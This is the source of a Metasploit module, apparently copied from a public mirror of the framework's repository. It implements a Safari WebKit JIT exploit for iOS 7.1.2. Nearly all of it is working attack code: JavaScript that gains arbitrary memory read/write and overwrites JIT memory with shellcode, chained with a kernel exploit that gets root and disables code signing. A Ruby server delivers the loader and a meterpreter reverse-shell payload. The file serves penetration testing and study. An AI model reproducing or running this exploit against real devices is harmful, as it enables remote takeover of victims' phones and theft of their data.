Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/apple_ios/browser/safari_jit.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Post::File9include Msf::Exploit::Remote::HttpServer::HTML1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Safari Webkit JIT Exploit for iOS 7.1.2',16'Description' => %q{17This module exploits a JIT optimization bug in Safari Webkit. This allows us to18write shellcode to an RWX memory section in JavaScriptCore and execute it. The19shellcode contains a kernel exploit (CVE-2016-4669) that obtains kernel rw,20obtains root and disables code signing. Finally we download and execute the21meterpreter payload.22This module has been tested against iOS 7.1.2 on an iPhone 4.23},24'License' => MSF_LICENSE,25'Author' => [26'kudima', # ishell27'Ian Beer', # CVE-2016-466928'WanderingGlitch', # CVE-2018-416229'timwr', # metasploit integration30],31'References' => [32['CVE', '2016-4669'],33['CVE', '2018-4162'],34['URL', 'https://github.com/kudima/exploit_playground/tree/master/iPhone3_1_shell'],35['URL', 'https://www.thezdi.com/blog/2018/4/12/inverting-your-assumptions-a-guide-to-jit-comparisons'],36['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=882'],37],38'Arch' => ARCH_ARMLE,39'Platform' => 'apple_ios',40'DefaultTarget' => 0,41'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/armle/meterpreter_reverse_tcp' },42'Targets' => [[ 'Automatic', {} ]],43'DisclosureDate' => '2016-08-25',44'Notes' => {45'Stability' => [ CRASH_SERVICE_DOWN ],46'SideEffects' => [ ],47'Reliability' => [ UNRELIABLE_SESSION ]48}49)50)51register_options(52[53OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 8080 ]),54OptString.new('URIPATH', [ true, 'The URI to use for this exploit.', '/' ])55]56)57register_advanced_options([58OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information during exploitation', false]),59])60end6162def exploit_js63<<~JS64//65// Initial notes.66//67// If we look at publicly available exploits for this kind of68// issues [2], [3] on 64-bit systems, they rely on that JavaScriptCore69// differently interprets the content of arrays based on70// their type, besides object pointers and 64-bit doubles may have71// the same representation.72//73// This is not the case for 32-bit version of JavaScriptCore.74// The details are in runtime/JSCJSValue.h. All JSValues are still75// 64-bit, but for the cells representing objects76// the high 32-bit are always 0xfffffffb (since we only need 32-bit77// to represent a pointer), meaning cell is always a NaN in IEEE75478// representation used for doubles and it is not possible to confuse79// an cell and a IEEE754 encoded double value.80//81// Another difference is how the cells are represented82// in the version of JavaScriptCore by iOS 7.1.2.83// The type of the cell object is determined by m_structure member84// at offset 0 which is a pointer to Structure object.85// On 64-bit systems, at the time [2], [3]86// were published, a 32-bit integer value was used as a structure id.87// And it was possible to deterministically predict that id for88// specific object layout.89//90// The exploit outline.91//92// Let's give a high level description of the steps taken by the93// exploit to get to arbitrary code execution.94//95// 1. We use side effect bug to overwrite butterfly header by confusing96// Double array with ArrayStorage and obtain out of bound (oob) read/write97// into array butterflies allocation area.98//99// 2. Use oob read/write to build addrOf/materialize object primitives,100// by overlapping ArrayStorage length with object pointer part of a cell101// stored in Contiguous array.102//103// 3. Craft a fake Number object in order to leak real object structure104// pointer via a runtime function.105//106// 4. Use leaked structure pointer to build a fake fake object allowing107// as read/write access to a Uint32Array object to obtain arbitrary read/write.108//109// 5. We overwrite rwx memory used for jit code and redirect execution110// to that memory using our arbitrary read/write.111112function main(loader, macho) {113114// auxillary arrays to facilitate115// 64-bit floats to pointers conversion116var ab = new ArrayBuffer(8)117var u32 = new Uint32Array(ab);118var f64 = new Float64Array(ab);119120function toF64(hi, lo) {121u32[0] = hi;122u32[1] = lo;123return f64[0];124}125126function toHILO(f) {127f64[0] = f;128return [u32[0], u32[1]]129}130131function printF64(f) {132var u32 = toHILO(f);133return (u32[0].toString(16) + " " + u32[1].toString(16));134}135136// arr is an object with a butterfly137//138// cmp is an object we compare with139//140// v is a value assigned to an indexed property,141// gives as ability to change the butterfly142function oob_write(arr, cmp, v, i) {143arr[0] = 1.1;144// place a comparison with an object,145// incorrectly modeled as side effects free146cmp == 1;147// if i less then the butterfly length,148// it simply writes the value, otherwise149// bails to baseline jit, which is going to150// handle the write via a slow path.151arr[i] = v;152return arr[0];153}154155function make_oob_array() {156157var oob_array;158159// allocate an object160var arr = {};161arr.p = 1.1;162// allocate butterfly of size 0x38,163// 8 bytes header and 6 elements. To get the size164// we create an array and inspect its memory165// in jsc command line interpreter.166arr[0] = 1.1;167168// toString is triggered during comparison,169var x = {toString: function () {170// convert the butterfly into an171// array storage with two values,172// initial 1.1 64-bit at 0 is going to be placed173// to m_vector and value at 1000 is placed into174// the m_sparceMap175arr[1000] = 2.2;176// allocate a new butterfly right after177// our ArrayStorage. The butterflies are178// allocated continuously regardless179// of the size. For the array we180// get 0x28 bytes, header and 4 elements.181oob_array = [1.1];182return '1';183}184};185186// ArrayStorage buttefly--+187// |188// V189//-8 -4 0 4190// | pub length | length | m_sparceMap | m_indexBias |191//192// 8 0xc 0x10193// | m_numValuesInVector | m_padding | m_vector[0]194//195//0x18 0x20 0x28196// | m_vector[1] | m_vector[2] | m_vector[3] |197//198// oob_array butterfly199// |200// V201//0x30 0x34 0x38 0x40 0x48 0x50202// | pub length | length | el0 | el1 | el2 |203//204205// We enter the function with arr butterfly206// backed up by a regular butterfly, during the side effect207// in toString method we turn it into an ArrayStorage,208// and allocate a butterfly right after it. So we209// hopefully get memory layout as on the diagram above.210//211// The compiled code for oob_write, being not aware of the212// shape change, is going to compare 6 to the ArrayStorage213// length (which we set to 1000 in toString) and proceed214// to to write at index 6 relative to ArrayStorage butterfly,215// overwriting the oob_array butterfly header with 64-bit float216// encoded as 0x0000100000001000. Which gives as ability to write217// out of bounds of oob_array up to 0x1000 bytes, hence218// the name oob_array.219220var o = oob_write(arr, x, toF64(0x1000, 0x1000), 6);221222return oob_array;223}224225// returns address of an object226function addrOf(o) {227// overwrite ArrayStorage public length228// with the object pointer229oob_array[4] = o;230// retrieve the address as ArrayStorage231// butterfly public length232var r = oobStorage.length;233return r;234}235236function materialize(addr) {237// replace ArrayStorage public length238oobStorage.length = addr;239// retrieve the placed address240// as an object241return oob_array[4];242}243244function read32(addr) {245var lohi = toHILO(rw0Master.rw0_f2);246// replace m_buffer with our address247rw0Master.rw0_f2 = toF64(lohi[0], addr);248var ret = u32rw[0];249// restore250rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]);251return ret;252}253254function write32(addr, v) {255var lohi = toHILO(rw0Master.rw0_f2);256rw0Master.rw0_f2 = toF64(lohi[0], addr);257// for some reason if we don't do this258// and the value is negative as a signed int ( > 0x80000000)259// it takes base from a different place260u32rw[0] = v & 0xffffffff;261rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]);262}263264function testRW32() {265var o = [1.1];266267print("--------------- testrw32 -------------");268print("len: " + o.length);269270var bfly = read32(addrOf(o)+4);271print("bfly: " + bfly.toString(16));272273var len = read32(bfly-8);274print("bfly len: " + len.toString(16));275write32(bfly - 8, 0x10);276var ret = o.length == 0x10;277print("len: " + o.length);278write32(bfly - 8, 1);279print("--------------- testrw32 -------------");280return ret;281}282283// dump @len dword284function dumpAddr(addr, len) {285var output = 'addr: ' + addr.toString(16) + "\\n";286for (var i=0; i<len; i++) {287output += read32(addr + i*4).toString(16) + " ";288if ((i+1) % 2 == 0) {289output += "\\n";290}291}292return output;293}294295// prepare the function we are going to296// use to run our macho loader297exec_code = "var o = {};";298for (var i=0; i<200; i++) {299exec_code += "o.p = 1.1;";300}301exec_code += "if (v) alert('exec');";302303var exec = new Function('v', exec_code);304305// force JavaScriptCore to generate jit code306// for the function307for (var i=0; i<1000; i++)308exec();309310// create an object with a Double array butterfly311var arr = {};312arr.p = 1.1;313arr[0] = 1.1;314315// force DFG optimization for oob_write function,316// with a write beyond the allocated storage317for (var i=0; i<10000; i++) {318oob_write(arr, {}, 1.1, 1);319}320321// prepare a double array which we are going to turn322// into an ArrayStorage later on.323var oobStorage = [];324oobStorage[0] = 1.1;325326// create an array with oob read/write327// relative to its butterfly328var oob_array = make_oob_array();329// Allocate an ArrayStorage after oob_array butterfly.330oobStorage[1000] = 2.2;331332// convert into Contiguous storage, so we can materialize333// objects334oob_array[4] = {};335336// allocate two objects with seven inline properties one after another,337// for fake object crafting338var oo = [];339for (var i=0; i<0x10; i++) {340o = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:toF64(0x4141, i )};341oo.push(o);342}343344// for some reason if we just do345//var structLeaker = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:1.1};346//var fakeObjStore = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:1.1};347// the objects just get some random addressed far apart, and we need348// them allocated one after another.349350var fakeObjStore = oo.pop();351// we are going to leak Structure pointer for this object352var structLeaker = oo.pop();353354// eventually we want to use it for read/write into typed array,355// and typed array is 0x18 bytes from our experiments.356// To cover all 0x18 bytes, we add four out of line properties357// to the structure we want to leak.358structLeaker.rw0_f1 = 1.1;359structLeaker.rw0_f2 = 1.1;360structLeaker.rw0_f3 = 1.1;361structLeaker.rw0_f4 = 1.1;362363print("fakeObjStoreAddr: " + addrOf(fakeObjStore).toString(16));364print("structLeaker: " + addrOf(structLeaker).toString(16));365366var fakeObjStoreAddr = addrOf(fakeObjStore)367// m_typeInfo offset within a Structure class is 0x34368// m_typeInfo = {m_type = 0x15, m_flags = 0x80, m_flags2 = 0x0}369// for Number370371// we want to achieve the following layout for fakeObjStore372//373// 0 8 0x10 0x18 0x20 0x28 0x30374// | 1.1 | 1.1 | 1.1 | 1.1 | 1.1 | 1.1 |375//376// 0x30 0x34 0x38 0x40377// | fakeObjStoreAddr | 0x00008015 | 1.1 |378//379// we materialize fakeObjStoreAddr + 0x30 as an object,380// As we can see the Structure pointer points back to fakeObjStore,381// which is acting as a structure for our object. In that fake382// structure object we craft m_typeInfo as if it was a Number object.383// At offset +0x34 the Structure objects have m_typeInfo member indicating384// the object type.385// For number it is m_typeInfo = {m_type = 0x15, m_flags = 0x80, m_flags2 = 0x0}386// So we place that value at offset 0x34 relative to the fakeObjStore start.387fakeObjStore.p6 = toF64(fakeObjStoreAddr, 0x008015);388var fakeNumber = materialize(fakeObjStoreAddr + 0x30);389390// We call a runtime function valueOf on Number, which only verifies391// that m_typeInfo field describes a Number object. Then it reads392// and returns 64-bit float value at object address + 0x10.393//394// In our seven properties object, it's395// going to be a 64-bit word located right after last property. Since396// we have arranged another seven properties object to be placed right397// after fakeObjStore, we are going to get first 8 bytes of398// that cell object which has the following layout.399// 0 4 8400// | m_structure | m_butterfly |401var val = Number.prototype.valueOf.call(fakeNumber);402403// get lower 32-bit of a 64-bit float, which is a structure pointer.404var _7pStructAddr = toHILO(val)[1];405print("struct addr: " + _7pStructAddr.toString(16));406407// now we are going to use the structure to craft an object408// with properties allowing as read/write access to Uint32Array.409410var aabb = new ArrayBuffer(0x20);411412// Uint32Array is 0x18 bytes,413// + 0xc m_impl414// + 0x10 m_storageLength415// + 0x14 m_storage416var u32rw = new Uint32Array(aabb, 4);417418// Create a fake object with the structure we leaked before.419// So we can r/w to Uint32Array via out of line properties.420// The ool properties are placed before the butterfly header,421// so we point our fake object butterfly to Uint32Array + 0x28,422// to cover first 0x20 bytes via four out of line properties we added earlier423var objRW0Store = {p1:toF64(_7pStructAddr, addrOf(u32rw) + 0x28), p2:1.1};424425// materialize whatever we put in the first inline property as an object426var rw0Master = materialize(addrOf(objRW0Store) + 8);427428// magic429var o = {p1: 1.1, p2: 1.1, p3: 1.1, p4: 1.1};430for (var i=0; i<8; i++) {431read32(addrOf(o));432write32(addrOf(o)+8, 0);433}434435//testRW32();436// JSFunction->m_executable437var m_executable = read32(addrOf(exec)+0xc);438439// m_executable->m_jitCodeForCall440var jitCodeForCall = read32(m_executable + 0x14) - 1;441print("jit code pointer: " + jitCodeForCall.toString(16));442443// Get JSCell::destroy pointer, and pass it444// to the code we are going to execute as an argument445var n = new Number(1.1);446var struct = read32(addrOf(n));447// read methodTable448var classInfo = read32(struct + 0x20);449// read JSCell::destroy450var JSCell_destroy = read32(classInfo + 0x10);451452print("JSCell_destroy: " + JSCell_destroy.toString(16));453454// overwrite jit code of exec function455for (var i=0; i<loader.length; i++) {456var x = loader[i];457write32(jitCodeForCall+i*4, x);458}459460// pass JSCell::destroy pointer and461// the macho file as arguments to our462// macho file loader, so it can get dylib cache slide463var nextBuf = read32(addrOf(macho) + 0x14);464// we pass parameters to the loader as a list of 32-bit words465// places right before the start466write32(jitCodeForCall-4, JSCell_destroy);467write32(jitCodeForCall-8, nextBuf);468print("nextBuf: " + nextBuf.toString(16));469// start our macho loader470print("executing macho...");471exec(true);472print("exec returned");473return;474}475476try {477function asciiToUint8Array(str) {478479var len = Math.floor((str.length + 4)/4) * 4;480var bytes = new Uint8Array(len);481482for (var i=0; i<str.length; i++) {483var code = str.charCodeAt(i);484bytes[i] = code & 0xff;485}486487return bytes;488}489490// loads base64 encoded payload from the server and converts491// it into a Uint32Array492function loadAsUint32Array(path) {493var xhttp = new XMLHttpRequest();494xhttp.open("GET", path+"?cache=" + new Date().getTime(), false);495xhttp.send();496var payload = atob(xhttp.response);497payload = asciiToUint8Array(payload);498return new Uint32Array(payload.buffer);499}500501var loader = loadAsUint32Array("loader.b64");502var macho = loadAsUint32Array("macho.b64");503setTimeout(function() {main(loader, macho);}, 50);504} catch (e) {505print(e + "\\n" + e.stack);506}507JS508end509510def on_request_uri(cli, request)511if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}512print_status("[*] #{request.body}")513send_response(cli, '')514return515end516517print_status("Request #{request.uri} from #{request['User-Agent']}")518if request.uri.starts_with? '/loader.b64'519loader_data = exploit_data('CVE-2016-4669', 'loader')520loader_data = Rex::Text.encode_base64(loader_data)521send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })522return523elsif request.uri.starts_with? '/macho.b64'524loader_data = exploit_data('CVE-2016-4669', 'macho')525payload_url = "http://#{Rex::Socket.source_address('1.2.3.4')}:#{srvport}/payload"526payload_url_index = loader_data.index('PAYLOAD_URL_PLACEHOLDER')527loader_data[payload_url_index, payload_url.length] = payload_url528loader_data = Rex::Text.encode_base64(loader_data)529send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })530return531elsif request.uri.starts_with? '/payload'532print_good('Target is vulnerable, sending payload!')533send_response(cli, payload.raw, { 'Content-Type' => 'application/octet-stream' })534return535end536537jscript = exploit_js538if datastore['DEBUG_EXPLOIT']539debugjs = %^540print = function(arg) {541var request = new XMLHttpRequest();542request.open("POST", "/print", false);543request.send("" + arg);544};545^546jscript = "#{debugjs}#{jscript}"547else548jscript.gsub!(%r{//.*$}, '') # strip comments549jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);550end551552html = <<~HTML553<html>554<body>555<script>556#{jscript}557</script>558</body>559</html>560HTML561562send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })563end564565end566567568